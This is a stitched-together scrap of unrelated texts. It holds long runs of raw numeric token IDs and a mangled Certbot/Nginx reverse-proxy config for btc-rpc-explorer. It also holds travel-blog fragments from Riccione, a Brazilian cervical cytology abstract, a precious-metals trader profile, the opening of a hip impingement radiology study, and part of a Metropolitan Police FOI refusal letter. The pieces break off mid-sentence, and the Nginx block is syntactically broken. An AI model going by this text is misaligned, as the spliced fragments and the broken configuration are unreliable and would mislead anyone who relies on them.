10429, 313, 8282, 3077, 10, 313, 24, 15, 24, 2673, 285, 642, 2219, 273, 12382, 497, 1119, 275, 28911, 3072, 15, 844, 5125, 326, 20512, 3939, 20292, 943, 320, 2908, 275, 17349, 9273, 5659, 15, 34, 321, 312, 292, 40046, 13, 16169, 187, 187, 34, 321, 312, 292, 40046, 13, 16169, 310, 247, 4156, 3520, 18153, 18494, 24230, 1408, 407, 7407, 12440, 5277, 247, 2120, 2491, 273, 3238, 281, 512, 5014, 275, 253, 18153, 18494, 5931, 13, 432, 11998, 285, 3275, 281, 10264, 285, 8353, 15, 29730, 312, 292, 16633, 8558, 327, 18153, 18494, 533, 671, 556, 3862, 2793, 342, 2613, 5148, 21364, 313, 1940, 3803, 13, 20458, 13, 30237, 21364, 10, 13122, 15, 29730, 312, 292, 2987, 342, 512, 18153, 5148, 3580, 13, 1690, 512, 2144, 326, 778, 3831, 5328, 13, 9711, 13, 32297, 13, 23915, 12044, 13, 13882, 26796, 13, 3496, 29455, 13, 40422, 864, 1514, 13, 391, 864, 1514, 15, 380, 4948, 273, 436, 2144, 2486, 12156, 279, 13, 277, 410, 13, 18572, 13, 39088, 13, 305, 1952, 2721, 13, 13723, 13, 5793, 2900, 13, 21364, 13, 11687, 285, 7418, 643, 4948, 15, 29730, 312, 292, 23000, 3400, 247, 3862, 2491, 273, 32339, 3238, 1690, 8534, 347, 247, 3520, 5148, 24230, 13, 24230, 19714, 285, 10459, 15065, 27787, 3238, 15, 18, 15, 12276, 1712, 1704, 18, 94, 187, 19557, 187, 187, 10457, 253, 1390, 9976, 13, 3427, 12892, 12204, 357, 792, 1607, 272, 1003, 313, 5377, 42, 10, 556, 644, 7744, 7478, 347, 247, 2847, 273, 6722, 13290, 3075, 285, 247, 1896, 29498, 28163, 1617, 323, 253, 2440, 273, 2393, 10160, 44483, 1254, 35, 18, 7254, 35, 22, 1656, 6408, 4812, 9381, 285, 42392, 273, 253, 13290, 13, 29104, 490, 307, 420, 875, 253, 28773, 7623, 16889, 285, 253, 10465, 357, 792, 22083, 778, 1421, 281, 247, 25282, 273, 47073, 2544, 1690, 5188, 4638, 20638, 13, 28877, 409, 267, 22622, 13, 285, 10844, 10465, 357, 792, 25548, 1448, 10899, 1254, 35, 18, 1092, 1008, 35, 23, 1092, 1008, 35, 24, 1656, 496, 2087, 13, 10601, 42, 778, 320, 4269, 407, 767, 2201, 3510, 273, 271, 16807, 19147, 15, 6039, 14, 881, 10601, 42, 310, 7943, 407, 271, 29781, 16635, 6661, 273, 253, 28773, 1481, 14, 34936, 16889, 13, 285, 9176, 1209, 14, 881, 10601, 42, 310, 2330, 342, 10465, 357, 792, 689, 16484, 486, 390, 13767, 4149, 15, 14522, 13, 2067, 2175, 452, 2011, 326, 954, 1363, 2686, 452, 247, 5678, 830, 313, 37340, 10601, 42, 10, 273, 253, 767, 3510, 1254, 35, 21, 1092, 1008, 35, 23, 7254, 35, 883, 1656, 187, 187, 6436, 13, 253, 3361, 273, 841, 271, 16807, 19147, 310, 417, 7933, 2330, 342, 3382, 5917, 15, 496, 5312, 1495, 13, 247, 10665, 7155, 273, 952, 342, 4049, 390, 9176, 1209, 22403, 1005, 778, 417, 1928, 667, 3075, 13, 285, 616, 271, 16807, 19955, 778, 3464, 36568, 264, 15, 17746, 13, 247, 1180, 273, 2175, 452, 644, 2684, 281, 7472, 253, 8996, 273, 4049, 390, 9176, 1209, 22403, 1005, 275, 30192, 952, 15, 34999, 1162, 355, 15, 2361, 247, 8996, 273, 1638, 6, 846, 9273, 1052, 15986, 432, 616, 4675, 4750, 970, 14478, 1254, 35, 805, 1656, 22300, 13, 1720, 35009, 16836, 1162, 355, 15, 6760, 247, 11077, 273, 30192, 38136, 342, 14478, 285, 1119, 247, 8996, 273, 2164, 6, 1254, 35, 1012, 1656, 496, 3963, 5014, 273, 1029, 3486, 9001, 313, 10328, 347, 5842, 13, 6749, 19971, 13, 390, 46237, 582, 1014, 2169, 26026, 1532, 17352, 7288, 6, 285, 11422, 6, 1532, 9802, 644, 2361, 1254, 35, 1047, 7254, 35, 1036, 1656, 187, 187, 10342, 273, 253, 2175, 326, 452, 22546, 7625, 323, 4049, 390, 9176, 1209, 22403, 1005, 908, 14478, 390, 7403, 20947, 15, 1723, 13, 275, 5312, 3382, 3946, 13, 1363, 665, 1246, 342, 13290, 3075, 588, 806, 452, 7925, 1594, 14, 20237, 2797, 1254, 35, 21, 1092, 1008, 35, 23, 1092, 1008, 35, 1166, 1092, 1008, 35, 1093, 1656, 1916, 3157, 253, 7914, 7200, 273, 841, 1594, 14, 20237, 13, 352, 778, 320, 9371, 281, 871, 253, 8996, 273, 22403, 1005, 2330, 342, 10601, 42, 327, 8342, 6590, 275, 253, 3388, 30192, 3072, 15, 20539, 4102, 13, 2175, 16344, 1594, 14, 20237, 273, 30192, 952, 323, 4049, 285, 9176, 1209, 22403, 1005, 497, 3710, 15, 3813, 13, 253, 4096, 273, 436, 1263, 369, 281, 3601, 271, 440, 16191, 11077, 273, 952, 1293, 13290, 5917, 323, 7925, 46513, 7871, 2330, 342, 4049, 285, 16, 263, 9176, 1209, 10601, 42, 15, 844, 24045, 326, 247, 1534, 7155, 273, 30192, 952, 651, 452, 46513, 7871, 273, 10601, 42, 327, 7925, 1594, 14, 20237, 15, 187, 187, 19, 15, 17724, 285, 13277, 1712, 1704, 19, 94, 187, 27240, 187, 187, 1552, 19403, 1263, 369, 7012, 407, 253, 21482, 7039, 273, 253, 8710, 2499, 754, 45355, 313, 12919, 1180, 4332, 14, 23139, 47, 14, 3788, 10, 285, 310, 275, 8956, 342, 253, 16204, 273, 34159, 15, 17842, 4267, 285, 4332, 13, 4097, 47818, 285, 2831, 14, 2420, 8188, 25446, 497, 21774, 2684, 323, 1363, 665, 3559, 281, 776, 8945, 7811, 342, 7928, 14977, 281, 253, 13290, 390, 46501, 15, 380, 1594, 14, 20237, 285, 3739, 4367, 273, 841, 1363, 497, 39599, 6760, 15, 187, 187, 688, 3444, 6866, 323, 253, 1263, 2908, 253, 3361, 273, 4097, 47818, 285, 2831, 14, 2420, 8188, 25446, 273, 10599, 3290, 13, 1491, 327, 253, 3110, 4479, 84, 3739, 2892, 13, 285, 3110, 2363, 3687, 685, 1283, 1107, 15, 187, 187, 29139, 665, 2361, 1907, 13290, 5917, 313, 70, 15, 72, 904, 3075 ]

certbot to configure the SSL: certbot --nginx Once done, the Nginx config file should have changed, and should be like the following: server { server_name your-explorer.mooo.com; proxy_pass } location / {proxy_pass http://localhost:3002/ listen [::]:443 ssl ipv6only=on; # managed by Certbot listen 443 ssl; # managed by Certbot ssl_certificate /etc/letsencrypt/live/your-explorer.mooo.com/fullchain.pem; # managed by Certbot ssl_certificate_key /etc/letsencrypt/live/your-explorer.mooo.com/privkey.pem; # managed by Certbot include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot server { if ($host = your-explorer.mooo.com) { return 301 } # managed by Certbot server {if ($host = your-explorer.mooo.com) {return 301 https://$host$request_uri } # managed by Certbot listen 80; listen [::]:80; server_name your-explorer.mooo.com; return 404; # managed by Certbot } Well, we are done, and Nginx is up and running, working as a reverse proxy for the btc-rpc-explorer app. The last thing to do is just open the browser and try it:TripAdvisor Reviews Rigobello Riccione Travel Blogs from Riccione ... easier said than done. There are wall to wall hotels but no restaurants out front. We found an Italian restaurant where we became the first customers for the night. The waiter attempted to interpret the menu for us. Annette through that she had ordered a pizza on a potato base - wrong, it was a normal pizza with the 4 fillings in a quarter on their own. Mine, well I wasn't sure when the menu item was explained. He point to the palm tree out... ... secondary road for about 10km and then we hit the beach. Wow. Umbrella areas set up in front of cafes and huts. The umbrellas were grouped in their colours - yellow and green, yellow and white, red and blue. A marvelous sight, just like you see in magazines and in the movies. There were heaps of people on the beaches, sun baking on the banana lounges and swimming in the beautiful blue water. Venice morning was another spin around the canals and then a little shopping. Even at the H&M sales. We then caught the slow boat to China - actually the ferry from the top of the main canal to the bus station (45 mins with all the stops) to meet Lee who was waiting to meet us with our black Opal station wagon hire car. We drove to San Marino and caught the cable car up to the top. We had visited here with Erwin and Di and loved... Today I am going to be sad to leave Riccione but today I'm going to have eighteen coins for the Sala giochi and I am trying to get as much tickets as I can so that I can buy a Mqueen bag for my cousin Oliver. when I arriv e in Issenheim I'll be happy to hop back on my skateboard and have some fun over... Today at the Sala de giochi I decided to have a new goal. I know that I will not achieve this goal so I might not work on it very much tomorrow. This goal is to buy a McQueen bag for my cousin Oliver. Tomorrow I am not sure what I will play. I did play a new game were you have to try and shoot moose. Other than that it was a normal day. There is a photo below showing how hot it...Cervical intraepithelial neoplasia in adolescents: study of cytological findings between 1987 and 1995 in São Paulo State-Brazil. The purpose of the present study was to ascertain the frequency of Pap smears abnormalities (SIL/carcinoma) in two populations in the State of S. Paulo (Brazil) who were screened for cervical cancer during the last nine years: adolescents (up to the age of 21) and adults (over 21). Statistical analysis showed a tendency to linear increase in frequency of abnormal Pap smears in both groups (adolescent: slope = 0.118 +/- 0.56; adult: slope = 0.079 +/- 0.021), being greater in the adolescent group (slope 0.039 +/- 0.038) than in the adult group. Between 1987 and 1995 the prevalence of abnormal smears tripled in the adult group (from 0.37 to 1.18) and almost quadruplicated in the adolescent group (from 0.64 to 2.10). Low grade squamous intraepithelial lesions (SIL) were the most frequent findings in cervical cytology in both groups: 92.3% in the adolescent group and 69.8% in the adult group. Few cases of high grade squamous intrapeithelial lesions (HSIL) (7.7%) and no cases of carcinoma were found in adolescent population. We suggested that sexually active adolescents should be included in cervical screening programs.Auramet Trading, LLC Auramet Trading, LLC is a global physical precious metals merchant run by experienced professionals providing a full range of services to all participants in the precious metals chain, from extraction and production to manufacturing and consumption. Auramet focuses primarily on precious metals but also has broad experience with base metal concentrate (copper, zinc, nickel concentrate) transactions. Auramet works with all precious metal products, including all material that may contain gold, silver, platinum, palladium, rhodium, iridium, ruthenium, rhenium. The forms of this material include bullion, dore, scrap, sponge, gauze, grain, chemical solution, concentrate, powder and numerous other forms. Auramet additionally provides a broad range of personalized services including acting as a physical metal merchant, merchant banking and corporate finance advisory services.1. Introduction {#sec1} =============== During the last decade, femoroacetabular impingement (FAI) has been commonly recognized as a cause of chronic hip pain and a possible predisposing condition for the development of early osteoarthritis \[[@B1]--[@B5]\]. During internal rotation and flexion of the hip, repetitive abutment between the femoral neck junction and the acetabular rim may lead to a cascade of degenerative changes including labrum disruption, chondromalacia, and peripheral acetabular cartilage delamination \[[@B1], [@B6], [@B7]\]. In general, FAI may be caused by two major types of anatomic abnormalities. Cam-type FAI is characterized by an aspherical configuration of the femoral head-neck junction, and pincer-type FAI is associated with acetabular overcoverage or retroversion. Interestingly, several studies have shown that most patients actually have a combined form (mixed FAI) of the two types \[[@B4], [@B6]--[@B11]\]. However, the presence of these anatomic abnormalities is not necessarily associated with clinical symptoms. In daily life, a considerable percentage of people with cam or pincer deformities may not feel any pain, and their anatomic pathology may remain undetected. Recently, a number of studies have been performed to evaluate the prevalence of cam or pincer deformities in asymptomatic people. Hack et al. reported a prevalence of 14% after screening 200 volunteers from their hospital staff using MRI \[[@B12]\]. Likewise, Reichenbach et al. evaluated a cohort of asymptomatic recruits with MRI and found a prevalence of 24% \[[@B13]\]. In regular participants of high impact sports (such as football, ice hockey, or skiing), even higher percentages---between 55% and 87%---have been reported \[[@B14]--[@B16]\]. Most of the studies that have screened populations for cam or pincer deformities used MRI or CT scans. However, in daily clinical practice, patients who present with hip pain will first have native X-rays obtained \[[@B4], [@B6], [@B17], [@B18]\]. To improve the interpretation accuracy of these X-rays, it may be helpful to know the prevalence of deformities associated with FAI on plain films in the average asymptomatic population. Until recently, studies evaluating X-rays of asymptomatic people for cam and pincer deformities were limited. Therefore, the purpose of this study was to screen an unselected cohort of people without hip symptoms for native radiological signs associated with cam and/or pincer FAI. We hypothesized that a significant percentage of asymptomatic people would have radiological signs of FAI on native X-rays. 2. Material and Methods {#sec2} ======================= This retrospective study was approved by the Ethics Committee of the Medical University Heidelberg (Process number 2011-370N-MA) and is in accordance with the declaration of Helsinki. Between 2010 and 2011, AP pelvis and cross-table radiographs were routinely performed for patients who presented to our emergency department with acute trauma to the hip or femur. The X-rays and medical files of these patients were retrospectively evaluated. Inclusion criteria for the study included the presence of AP pelvis and cross-table radiographs of adequate quality, information on the patient\'s medical history, and patient age greater than 18 years. Patients who reported having hip symptoms (e.g., pain

[ 15, 187, 187, 2512, 310, 247, 1345, 1600, 275, 253, 22107, 273, 48638, 5871, 285, 187, 187, 11404, 2821, 29299, 326, 253, 353, 3299, 310, 20420, 285, 8069, 10620, 187, 187, 3113, 6617, 15, 187, 187, 510, 1345, 452, 247, 987, 281, 1902, 22107, 285, 30990, 275, 187, 187, 16429, 281, 253, 897, 273, 5259, 46185, 15, 187, 187, 3463, 24025, 390, 14624, 253, 1491, 368, 9521, 253, 1345, 588, 320, 187, 187, 38967, 273, 14006, 326, 1345, 8064, 403, 5262, 327, 15, 187, 187, 34182, 641, 1411, 16883, 390, 13336, 323, 5238, 1884, 187, 187, 48529, 272, 390, 14624, 253, 1491, 368, 9521, 651, 35007, 253, 187, 187, 24889, 304, 800, 1232, 15, 1310, 436, 1491, 497, 2918, 13, 352, 651, 320, 2918, 187, 187, 6538, 314, 323, 253, 4096, 273, 15686, 247, 6617, 15, 187, 187, 1147, 310, 417, 275, 253, 1345, 1600, 281, 13201, 667, 35070, 1232, 407, 187, 187, 38286, 272, 390, 14624, 253, 1491, 368, 9521, 15, 187, 187, 510, 353, 3299, 310, 6636, 342, 37703, 253, 1569, 13, 13538, 285, 15549, 6617, 187, 187, 395, 15233, 253, 7888, 359, 5752, 15, 187, 187, 510, 353, 3299, 588, 417, 2017, 335, 463, 1880, 1491, 310, 390, 310, 417, 2918, 604, 281, 513, 594, 187, 187, 12756, 31611, 2818, 841, 1774, 9503, 15, 187, 187, 3152, 13352, 627, 310, 247, 1345, 1600, 275, 253, 22107, 273, 48638, 187, 187, 42316, 285, 5277, 29299, 326, 253, 353, 3299, 310, 20420, 285, 187, 187, 8222, 1242, 10620, 342, 6617, 627, 310, 247, 2266, 1345, 1600, 275, 187, 187, 22768, 4297, 13218, 253, 12974, 273, 3513, 14006, 285, 5871, 285, 275, 187, 187, 41322, 1776, 7162, 275, 253, 353, 3299, 15, 187, 187, 34182, 641, 9796, 272, 16883, 390, 13336, 323, 5238, 4562, 2756, 187, 3463, 24025, 390, 14624, 1880, 1491, 310, 2918, 651, 8046, 253, 187, 187, 4387, 281, 452, 247, 1805, 4685, 273, 253, 1511, 273, 21041, 7091, 407, 187, 187, 783, 353, 3299, 275, 8785, 562, 616, 1569, 10473, 2554, 15, 187, 187, 36011, 1345, 11891, 778, 4796, 6617, 390, 1421, 281, 625, 1491, 432, 187, 187, 783, 1345, 347, 597, 651, 320, 625, 1759, 386, 275, 9610, 20634, 187, 187, 12135, 15, 187, 187, 34182, 641, 1411, 16883, 390, 13336, 323, 5238, 4562, 187, 187, 48529, 272, 390, 14624, 1880, 1491, 310, 2918, 651, 18230, 1569, 187, 187, 257, 19503, 21041, 285, 651, 9674, 35007, 253, 12212, 285, 187, 187, 49558, 273, 6617, 15, 187, 187, 1552, 651, 906, 275, 2007, 10502, 281, 253, 1345, 285, 17912, 2430, 187, 187, 783, 897, 273, 625, 353, 3299, 5300, 15, 187, 187, 24774, 6816, 6004, 187, 187, 22795, 373, 4911, 273, 1880, 1491, 310, 390, 3548, 626, 2918, 13, 1345, 5252, 285, 187, 187, 783, 3745, 281, 7257, 3576, 1569, 10473, 310, 273, 43527, 187, 187, 2948, 593, 281, 253, 353, 3299, 15, 187, 187, 48529, 318, 390, 13336, 273, 1880, 1491, 310, 390, 310, 417, 2918, 651, 187, 187, 1504, 22839, 18230, 1097, 1569, 10473, 285, 667, 10800, 187, 187, 24889, 304, 569, 15, 187, 187, 17756, 13, 387, 436, 2774, 275, 673, 13, 352, 310, 776, 4743, 326, 323, 841, 3374, 187, 187, 783, 26259, 1071, 323, 24025, 1880, 390, 417, 667, 1491, 12600, 187, 187, 936, 253, 1180, 273, 11307, 310, 417, 1160, 562, 15, 187, 187, 2302, 17032, 476, 320, 2668, 432, 436, 19963, 326, 667, 1491, 13, 1057, 390, 187, 187, 18566, 417, 2226, 15, 187, 187, 9507, 41104, 7999, 33238, 52, 187, 187, 7093, 4116, 310, 8392, 281, 253, 7660, 8335, 534, 4278, 634, 987, 273, 187, 187, 49692, 15, 187, 187, 18837, 368, 452, 667, 2007, 34839, 26286, 8664, 436, 2647, 13, 4496, 4579, 187, 187, 263, 3057, 479, 327, 11265, 1180, 470, 938, 8187, 1229, 27332, 19, 32249, 253, 3806, 187, 187, 9133, 1840, 15, 187, 187, 58, 2108, 43001, 187, 187, 18448, 10231, 187, 187, 4061, 7, 48, 8339, 15821, 187, 187, 49883, 45326, 187, 187, 12612, 337, 9, 18, 2769, 66, 10, 273, 253, 3162, 3400, 27, 187, 187, 9, 18, 10, 6693, 1436, 2403, 247, 2748, 323, 1491, 281, 247, 1345, 6265, 310, 187, 187, 290, 5924, 14, 187, 187, 9, 66, 10, 936, 320, 8191, 275, 4028, 407, 253, 1345, 6265, 1880, 352, 6556, 187, 187, 18480, 273, 253, 5740, 7616, 275, 253, 2748, 13, 285, 187, 187, 12612, 1722, 9, 18, 10, 273, 253, 3162, 3400, 27, 187, 187, 9, 18, 10, 34, 1345, 6265, 534, 13, 275, 5886, 281, 667, 2748, 323, 1491, 13, 187, 187, 261, 281, 667, 6070, 22128, 327, 247, 1750, 326, 667, 8332, 273, 3512, 3719, 12600, 187, 187, 936, 253, 7143, 281, 6583, 390, 13292, 310, 4623, 281, 253, 2748, 390, 327, 247, 1750, 187, 187, 3529, 1491, 310, 13959, 1491, 1364, 13, 1561, 253, 673, 323, 509, 2943, 187, 187, 3113, 2593, 337, 9, 18, 582, 1918, 253, 22123, 247, 4366, 534, 14, 187, 187, 9, 66, 10, 21196, 326, 958, 13, 187, 187, 9, 67, 10, 4157, 7790, 253, 25744, 275, 1953, 13, 285, 187, 187, 9, 68, 10, 21196, 313, 338, 326, 651, 417, 5010, 320, 5165, 10, 2139, 253, 25744, 187, 187, 1212, 23677, 15, 187, 187, 12612, 3495, 9, 22, 10, 273, 253, 3162, 3400, 27, 187, 187, 9, 22, 10, 380, 7143, 281, 6583, 390, 13292, 1057, 417, 12893, 604, 13, 390, 281, 253, 6070, 326, 13, 187, 187, 46451, 342, 2593, 337, 9, 18, 2769, 66, 10, 651, 6388, 253, 13911, 273, 667, 187, 187, 18480, 313, 20094, 390, 417, 2168, 5950, 10, 534, 369, 3587, 390, 187, 187, 527, 4128, 314, 12164, 281, 253, 1345, 6265, 407, 13, 390, 7033, 281, 13, 667, 273, 253, 187, 187, 67, 4550, 7616, 275, 19087, 313, 20, 481, 187, 187, 12612, 1884, 9, 20, 10, 273, 253, 3162, 3400, 27, 187, 187, 9, 20, 10, 510, 7143, 281, 6583, 390, 13292, 1057, 417, 12893, 275, 5886, 281, 1491, 187, 187, 4609, 310, 313, 263, 604, 352, 497, 2918, 407, 253, 1345, 6265, 651, 320, 10, 13959, 187, 187, 18480, 407, 16968, 273, 19087, 313, 18, 10, 390, 313, 19, 481, 187, 187, 12612, 4562, 9, 20, 10, 273, 253, 3162, 3400, 27, 187, 187, 9, 20, 10, 380, 7143, 281, 6583, 390, 13292, 1057, 417, 12893, 604, 13, 390, 281, 253, 6070, 326, 13, 187, 187, 46451, 342, 2593, 337, 9, 18, 2769, 66, 10, 651, 13, 390, 651, 320, 2779, 281, 13, 14751, 187, 187, 1279, 273, 253, 8213, 5393, 275, 19087, 313, 18, 481, 2756, 187, 9507, 41104, 7999, 33238, 52, 187, 187, 6723, 368, 26442, 342, 849, 634, 2748, 556, 644, 15726, 390, 513, 368, 1158, 253, 187, 187, 33642, 310, 13583, 32, 187, 187, 1394, 452, 253, 987, 281, 2430, 253, 28634, 9651, 6631, 313, 46, 3299, 10, 281, 187, 187, 15337, 616, 3061, 15, 187, 187, 20108, 281, 22237, 3390, 247, 7473, 5833, 368, 403, 10112, 285, 14659, 281, 187, 187, 35844, 253, 3061, 342, 253, 1083, 5908, 326, 18445, 342, 634, 2748, 15, 187, 187, 30326, 281, 452, 253, 3061, 3261, 387, 969, 1108, 187, 187, 510, 3158, 383, 285, 24746, 1039, 281, 452, 253, 3061, 3261, 387, 969, 310, 281, 187, 187, 29777, 6198, 253, 1083, 5908, 326, 310, 25546, 387, 253, 990, 273, 634, 3061, 187, 187, 15139, 15, 187, 187, 2773, 1436, 588, 320, 2104, 281, 2319, 253, 3061, 13, 5513, 667, 3374, 285, 187, 187, 515, 382, 342, 667, 3237, 15, 187, 187, 46004, 1143, 187, 187, 2042, 368, 403, 5408, 33496, 342, 253, 10885, 7259, 390, 253, 3061, 273, 187, 187, 783, 353, 3299, 1160, 762, 253, 20574, 273, 8339, 3162, 5307, 313, 783, 3162, 10, 5001, 187, 187, 10773, 281, 1491, 368, 476, 40486, 247, 5833, 342, 253, 353, 3299, 281, 452, 253, 187, 187, 33642, 9814, 15, 187, 187, 46004, 1143, 84, 943, 320, 1160, 275, 4028, 13, 1561, 14327, 313, 1449, 10, 2444, 1897, 432, 187, 187, 783, 3522, 273, 253, 19963, 4366, 13, 285, 9713, 281, 27, 187, 187, 8768, 42, 25868, 187, 187, 15689, 13135, 7454, 187, 187, 5964, 14423, 8988, 14403, 187, 187, 18868, 187, 187, 13753, 23, 337, 14853, 187, 187, 60, 12812, 2953, 62, 187, 187, 688, 512, 1896, 5989, 253, 353, 3299, 588, 4388, 281, 3794, 281, 634, 187, 187, 49692, 1561, 1384, 2444, 1897, 15, 187, 187, 510, 8339, 15605, 187, 187, 4553, 22237, 3390, 247, 5833, 342, 253, 353, 3299, 604, 368, 403, 1335, 5408, 33496, 342, 187, 187, 783, 3061, 368, 778, 1056, 2898, 281, 253, 8339, 15605, 323, 187, 187, 66, 3061, 327, 1880, 253, 2748, 323, 1491, 556, 644, 18445, 342, 275, 187, 187, 39844, 593, 342, 253, 6095, 273, 253, 3162, 15, 187, 187, 2214, 1491, 327, 849, 281, 1056, 2898, 281, 253, 8339, 15605, 187, 187, 32897, 4143, 616, 4422, 387, 8280, 15, 18480, 681, 2230, 254, 15, 12312, 15, 2788, 15, 187, 187, 42297, 13, 4481, 390, 3630, 281, 27, 187, 187, 21166, 15605, 434, 7454, 187, 187, 56, 9920, 30908, 3995, 187, 187, 26042, 19051, 187, 187, 21892, 983, 676, 187, 187, 36, 1041, 11094, 187, 187, 16582, 26, 608, 9006, 187, 187, 10504, 27, 470, 1036, 1099, 42974, 18450, 187, 187, 12481, 3130, 11733, 310, 253, 6365, 434, 11847, 281, 320, 327, 253, 10198, 285, 275, 634, 187, 187, 11713, 1005, 281, 5834, 33815, 13, 3657, 6617, 285, 1329, 10349, 15, 844, 403, 187, 187, 1568, 323, 4693, 13, 2444, 342, 368, 281, 1056, 776, 5347, 23107, 15, 187, 187, 16628, 776, 3126, 428, 4496, 513, 417, 3379, 436, 4579, 5734, 187, 187, 5375, 24828, 3309, 15, 187, 187, 10311, 8875, 428, 831, 4579, 285, 667, 37969, 778, 320, 18987, 13, 2256, 281, 187, 187, 35152, 285, 16, 263, 4320, 15863, 285, 403, 6034, 12718, 323, 253, 897, 273, 187, 187, 783, 6034, 18344, 15, 1310, 368, 452, 2959, 436, 4579, 275, 2228, 13, 4496, 187, 187, 34457, 253, 22647, 285, 11352, 352, 432, 634, 985, 15, 1916, 3693, 36967, 804, 187, 187, 7685, 37729, 13, 368, 1364, 417, 16969, 390, 3491, 253, 1491, 275, 436, 187, 187, 12812, 1293, 253, 9214, 273, 253, 22647, 15, 353, 3299, 5511, 2718, 403, 187, 187, 2163, 15931, 281, 253, 6070, 11460, 407, 1569, 15, 13162, 13, 667, 4579, 285, 16, 263, 187, 187, 38729, 942, 778, 320, 1239, 407, 8667, 4750, 15, 7214, 7616, 11570, 403, 187, 187, 7582, 1701, 281, 7525, 667, 4865, 4345, 327, 11136, 273, 253, 353, 3299, 407, 187, 187, 12812, 15, 380, 353, 3299, 25026, 642, 8294, 323, 440, 7582, 1701, 15486, 187, 187, 250, 2729, 342, 643, 6171, 390, 6083, 15, 380, 3988, 273, 436, 4579, 285, 187, 187, 1279, 37969, 2550, 320, 16293, 15, 21726, 8169, 403, 21774, 25266, 187, 187, 2858, 24764, 3694, 5066, 285, 16933, 273, 2600, 476, 1335, 2826, 187, 187, 32674, 6322, 689, 253, 7336, 15, 6101, 6849, 390, 11626, 4469, 275, 187, 187, 2520, 5511, 403, 12718, 1110, 273, 253, 2488, 285, 513, 417, 7933, 187, 187, 12554, 1110, 273, 253, 28634, 9651, 6631, 313, 46, 3299, 481, 187, 187, 9867, 441, 387, 27, 187, 187, 25116, 27, 6745, 15, 681, 16, 3899, 50141, 2788, 187, 187, 31068, 27, 1214, 3899, 50141, 2788, 30430, 5952, 569, 19036, 29746, 187, 187, 30430, 5952, 569, 19036, 29746, 187, 187, 5, 2090, 15, 1525, 187, 187, 1552, 310, 253, 39750, 39363, 4033, 15650, 5952, 569, 19036, 29746, 15, 1198, 1110, 665, 403, 7591, 281, 8041, 247, 3153, 3733, 2282, 533, 971, 281, 1287, 253, 2173, 3640, 285, 6936, 2905, 281, 39750, 39363, 4033, 10717, 285, 18418, 13, 436, 2969, 2456, 14, 15505, 3909, 2282, 310, 247, 1270, 2900, 15, 187, 187, 1552, 3909, 2282, 3249, 3426, 342, 247, 3048, 281, 253, 3733, 3492, 285, 247, 3048, 281, 253, 3909, 3733, 11595, 15, 6295, 4859, 588, 320, 8549, 281, 634, 4579, 34272, 2220, 12240, 273, 21016, 253, 2282, 15, 187, 187, 2214, 14601, 12440, 13, 436, 2282, 310, 13410, 323, 374, 14206, 19, 330, 31353, 949, 29376, 13, 13170, 46, 285, 11854, 2446, 15, 187, 187, 11185, 187, 187, 1552, 310, 253, 39750, 39363, 4033, 15650, 5952, 569, 19036, 29746, 15, 1198, 1110, 665, 403, 7591, 281, 8041, 247, 3153, 3733, 2282, 533, 971, 281, 1287, 253, 2173, 3640, 285, 6936, 2905, 281, 39750, 39363, 4033, 10717, 285, 18418, 13, 436, 2969, 2456, 14, 15505, 3909 ]

. There is a public interest in the transparency of policing operations and providing assurance that the MPS is appropriately and effectively dealing with crime. The public have a right to expect transparency and accountability in relation to the use of Public Funds. By confirming or denying the information you requested the public will be informed of investigations that public funds are spent on. Factors against confirmation or denial for Section 30 Confirming or denying the information you requested would hinder the investigative process. If this information were held, it would be held solely for the purpose of investigating a crime. It is not in the public interest to disrupt any investigative process by confirming or denying the information you requested. The MPS is charged with enforcing the law, preventing and detecting crime and protecting the communities we serve. The MPS will not divulge whether information is or is not held if to do so would adversely affect these important roles. Whilst there is a public interest in the transparency of policing operations and providing assurance that the MPS is appropriately and effectively dealing with crime there is a strong public interest in safeguarding the integrity of police investigations and operations and in maintaining confidence in the MPS. Factors favouring confirmation or denial for Section 31 By confirming or denying whether information is held would enable the public to have a better understanding of the type of tactics employed by the MPS in carrying out their law enforcement role. Better public awareness may reduce crime or lead to more information from the public as they would be more observant in reporting suspicious activity. Factors against confirmation or denial for Section 31 Confirming or denying whether information is held would compromise law enforcement tactics and would subsequently hinder the prevention and detection of crime. This would result in further risks to the public and consequently require the use of more MPS resources. Balancing Test Irrespective of whether information is or isn't held, public safety and the ability to deliver effective law enforcement is of paramount importance to the MPS. Confirmation or denial of whether information is or is not held would undoubtedly compromise both law enforcement and any ongoing investigations. Therefore, at this moment in time, it is our opinion that for these issues the balancing test for confirming whether or not any information relating to the number of allegations is not made out. No inference can be taken from this refusal that any information, does or does not exist. COMPLAINT RIGHTS Your attention is drawn to the attached sheet which details your right of complaint. Should you have any further enquiries concerning this matter, please email or contact me on telephone number 020 7230 2372 quoting the reference number above. Yours sincerely James Young SC&O Information Manager Legal Annex Section 1(1)(a) of the Act provides: (1)Any person making a request for information to a public authority is entitled- (a)to be informed in writing by the public authority whether it holds information of the description specified in the request, and Section 17(1) of the Act provides: (1)A public authority which, in relation to any request for information, is to any extent relying on a claim that any provision of Part II relating to the duty to confirm or deny is relevant to the request or on a claim that information is exempt information must, within the time for complying with section 1(1), give the applicant a notice which- (a)states that fact, (b)specifies the exemption in question, and (c)states (if that would not otherwise be apparent) why the exemption applies. Section 23(5) of the Act provides: (5) The duty to confirm or deny does not arise if, or to the extent that, compliance with section 1(1)(a) would involve the disclosure of any information (whether or not already recorded) which was directly or indirectly supplied to the public authority by, or relates to, any of the bodies specified in subsection (3). Section 30(3) of the Act provides: (3)The duty to confirm or deny does not arise in relation to information which is (or if it were held by the public authority would be) exempt information by virtue of subsection (1) or (2). Section 31(3) of the Act provides: (3) The duty to confirm or deny does not arise if, or to the extent that, compliance with section 1(1)(a) would, or would be likely to, prejudice any of the matters mentioned in subsection (1). COMPLAINT RIGHTS Are you unhappy with how your request has been handled or do you think the decision is incorrect? You have the right to require the Metropolitan Police Service (MPS) to review their decision. Prior to lodging a formal complaint you are welcome and encouraged to discuss the decision with the case officer that dealt with your request. Ask to have the decision looked at again – The quickest and easiest way to have the decision looked at again is to telephone the case officer that is nominated at the end of your decision letter. That person will be able to discuss the decision, explain any issues and assist with any problems. Complaint If you are dissatisfied with the handling procedures or the decision of the MPS made under the Freedom of Information Act 2000 (the Act) regarding access to information you can lodge a complaint with the MPS to have the decision reviewed. Complaints should be made in writing, within forty (40) working days from the date of the refusal notice, and addressed to: FOI Complaint Public Access Office PO Box 57192 London SW6 1SF [email address] In all possible circumstances the MPS will aim to respond to your complaint within 20 working days. The Information Commissioner After lodging a complaint with the MPS if you are still dissatisfied with the decision you may make application to the Information Commissioner 